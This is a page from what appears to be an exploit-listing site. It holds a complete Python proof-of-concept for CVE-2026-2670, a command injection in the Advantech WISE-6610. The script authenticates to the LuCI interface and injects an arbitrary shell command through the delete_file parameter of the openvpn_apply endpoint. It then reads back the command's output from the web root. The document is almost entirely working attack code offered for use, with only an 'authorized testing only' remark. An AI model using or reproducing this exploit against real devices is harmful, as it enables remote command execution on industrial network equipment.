4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit-cve-2026-2670.py PY
#!/usr/bin/env python3
"""
CVE-2026-2670 - Advantech WISE-6610 Command Injection
Enhanced PoC with exact login request format and debug output.

Usage (authorized testing only):
  python3 exploit.py --target http://device:8444 --cmd 'id > output.txt' --username admin --password admin --output /output.txt
  python3 exploit.py --target http://device:8444 --cmd 'echo "test">output.txt' --cookie sysauth=value --output /output.txt
"""

import requests
import argparse
import urllib3
import time
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

LOGIN_PATH = "/cgi-bin/luci/"
VULN_PATH = "/cgi-bin/luci/admin/openvpn_apply"
BASE_PATH = "/cgi-bin/luci/"

# Default headers for all requests (some may be overridden per request)
DEFAULT_HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0',
    'Accept-Language': 'en-GB,en;q=0.9',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive',
    'Priority': 'u=0'
}

def debug_print(debug, msg, data=None):
    if debug:
        print(f"[DEBUG] {msg}")
        if data is not None:
            print(data)

def fetch_nonce(session, base_url, debug=False):
    """GET /cgi-bin/luci/ to obtain luci_nonce cookie and any initial session."""
    nonce_url = urljoin(base_url, BASE_PATH)
    print(f"[*] Fetching initial cookies from {nonce_url}")
    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Upgrade-Insecure-Requests': '1'
    }
    try:
        r = session.get(nonce_url, headers=headers, verify=False, timeout=10)
        debug_print(debug, f"GET {nonce_url} response status: {r.status_code}")
        debug_print(debug, "Response headers:", dict(r.headers))
        debug_print(debug, "Cookies received:", session.cookies.get_dict())
        if 'luci_nonce' in session.cookies:
            print(f"[+] luci_nonce obtained: {session.cookies['luci_nonce']}")
            return True
        else:
            print("[-] No luci_nonce cookie set in response")
            return False
    except Exception as e:
        print(f"[-] Error fetching nonce: {e}")
        return False

def login(session, base_url, username, password, debug=False):
    """Authenticate using luci_username and luci_password."""
    login_url = urljoin(base_url, LOGIN_PATH)
    print(f"[*] Authenticating to {login_url}")
    data = {
        "luci_username": username,
        "luci_password": password
    }
    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': base_url.rstrip('/'),
        'Referer': urljoin(base_url, '/cgi-bin/luci/'),
        'Upgrade-Insecure-Requests': '1'
    }
    try:
        # Ensure we have a luci_nonce before POSTing (already fetched earlier, but double-check)
        if 'luci_nonce' not in session.cookies:
            print("[!] No luci_nonce cookie present, attempting to fetch...")
            if not fetch_nonce(session, base_url, debug):
                print("[-] Cannot proceed without luci_nonce")
                return None

        r = session.post(login_url, data=data, headers=headers, verify=False, timeout=10)
        debug_print(debug, f"POST {login_url} response status: {r.status_code}")
        debug_print(debug, "Response headers:", dict(r.headers))
        debug_print(debug, "Cookies after login:", session.cookies.get_dict())
        debug_print(debug, "Response body snippet:", r.text[:500])

        if 'sysauth' in session.cookies:
            print("[+] Authentication successful")
            return session
        else:
            print("[-] Authentication failed (no sysauth cookie)")
            print("    Received cookies:", list(session.cookies.keys()))
            return None
    except Exception as e:
        print(f"[-] Login error: {e}")
        return None

def inject(session, base_url, command, debug=False):
    """Send the command injection payload."""
    vuln_url = urljoin(base_url, VULN_PATH)
    payload = f"123123|{command}; echo$(IFS)"
    data = {
        "act": "delete",
        "delete_file": payload,
        "openvpn_id": "1"
    }
    headers = {
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': base_url.rstrip('/'),
        'Referer': urljoin(base_url, '/cgi-bin/luci/'),
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
    }
    print(f"[*] Sending exploit to {vuln_url}")
    print(f"[*] Payload: delete_file={payload}")
    debug_print(debug, "Request headers:", dict(session.headers))
    debug_print(debug, "Cookies:", session.cookies.get_dict())
    try:
        r = session.post(vuln_url, data=data, headers=headers, verify=False, timeout=10)
        debug_print(debug, f"Response status: {r.status_code}")
        debug_print(debug, "Response headers:", dict(r.headers))
        debug_print(debug, "Response body snippet:", r.text[:500])
        if r.status_code == 200:
            print("[+] Exploit sent successfully")
        else:
            print("[-] Unexpected response")
        if r.text:
            print("[*] Response snippet:", r.text[:200])
    except Exception as e:
        print(f"[-] Request error: {e}")

def fetch_output(session, base_url, output_path, debug=False):
    """Retrieve the output file via GET."""
    file_url = urljoin(base_url, output_path)
    headers = {
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': base_url.rstrip('/'),
        'Referer': urljoin(base_url, '/cgi-bin/luci/')
    }
    print(f"[*] Attempting to retrieve {file_url} (GET)")
    try:
        r = session.get(file_url, headers=headers, verify=False, timeout=10)
        debug_print(debug, f"GET {file_url} response status: {r.status_code}")
        debug_print(debug, "Response headers:", dict(r.headers))
        if r.status_code == 200:
            print("[+] File retrieved successfully. Contents:")
            print(r.text.strip())
        else:
            print(f"[-] Failed to retrieve file. HTTP {r.status_code}")
            if r.status_code == 404:
                print("[!] File not found. Make sure the command wrote to a web-accessible location (e.g., the web root).")
    except Exception as e:
        print(f"[-] Error fetching output: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-2670 PoC")
    parser.add_argument("--target", required=True, help="Base URL (e.g., http://192.168.1.100:8443)")
    parser.add_argument("--cmd", required=True, help="Command to execute (e.g., 'echo \"test\">output.txt' or 'id > output.txt')")
    parser.add_argument("--cookie", help="sysauth cookie (if already authenticated)")
    parser.add_argument("--username", help="Username for login")
    parser.add_argument("--password", help="Password for login")
    parser.add_argument("--output", required=True, help="URL path to the output file (e.g., /output.txt)")
    parser.add_argument("--delay", type=int, default=2, help="Seconds to wait before fetching output")
    parser.add_argument("--debug", action="store_true", help="Enable debug output")
    args = parser.parse_args()

    session = requests.Session()
    session.headers.update(DEFAULT_HEADERS)

    # If using a pre-existing sysauth cookie, set it now.
    if args.cookie:
        session.cookies.set("sysauth", args.cookie)
        print("[*] Using provided sysauth cookie")
        # We still need luci_nonce for subsequent requests
        if not fetch_nonce(session, args.target, args.debug):
            print("[!] Could not obtain luci_nonce. Proceeding anyway, but requests may fail.")
    elif args.username and args.password:
        # First get luci_nonce (required for login)
        if not fetch_nonce(session, args.target, args.debug):
            print("[-] Failed to obtain luci_nonce. Cannot proceed with login.")
            return
        session = login(session, args.target, args.username, args.password, args.debug)
        if not session:
            return
    else:
        print("[-] Must provide either --cookie or --username/--password")
        return

    # Inject command
    inject(session, args.target, args.cmd, args.debug)

    # Wait for command execution
    print(f"[*] Waiting {args.delay} seconds...")
    time.sleep(args.delay)

    # Retrieve output
    fetch_output(session, args.target, args.output, args.debug)

if __name__ == "__main__":
    main()